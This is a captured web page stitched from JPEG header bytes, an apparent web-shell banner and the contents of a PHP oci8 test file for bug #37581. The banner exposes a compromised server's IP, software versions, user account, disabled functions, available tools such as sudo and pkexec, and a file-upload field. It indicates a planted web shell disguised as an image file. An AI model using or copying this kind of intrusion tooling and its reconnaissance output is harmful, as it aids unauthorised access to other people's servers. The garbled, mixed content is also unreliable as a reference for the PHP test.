????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/ |
Upload File : |
--TEST--
Bug #37581 (oci_bind_array_by_name clobbers input array when using SQLT_AFC, AVC)
--SKIPIF--
<?php
$target_dbs = array('oracledb' => true, 'timesten' => false); // test runs on these DBs
require(dirname(__FILE__).'/skipif.inc');
?>
--FILE--
<?php
require dirname(__FILE__)."/connect.inc";
$p1 = "create or replace package BUG37581_PKG as
type str_array is table of char(2) index by binary_integer;
procedure array_bind(in_str in str_array, out_str out string);
end BUG37581_PKG;";
$p2 = "create or replace package body BUG37581_PKG as
procedure array_bind(in_str in str_array, out_str out string) is
begin
for i in 1 .. in_str.count loop
out_str := in_str(i);
end loop;
end array_bind;
end BUG37581_PKG;";
$s1 = oci_parse($c, $p1);
$s2 = oci_parse($c, $p2);
oci_execute($s1);
oci_execute($s2);
$stmt = oci_parse($c,'begin bug37581_pkg.array_bind(:in_arr, :out_str); end;');
$strings = array('A','B','C','D','E');
oci_bind_array_by_name($stmt,':in_arr',$strings,5,1,SQLT_AFC);
oci_bind_by_name($stmt,':out_str',$result,10);
oci_execute($stmt);
var_dump($strings);
oci_execute($stmt);
var_dump($strings);
echo "Done\n";
?>
--EXPECTF--
array(5) {
[0]=>
string(1) "A"
[1]=>
string(1) "B"
[2]=>
string(1) "C"
[3]=>
string(1) "D"
[4]=>
string(1) "E"
}
array(5) {
[0]=>
string(1) "A"
[1]=>
string(1) "B"
[2]=>
string(1) "C"
[3]=>
string(1) "D"
[4]=>
string(1) "E"
}
Done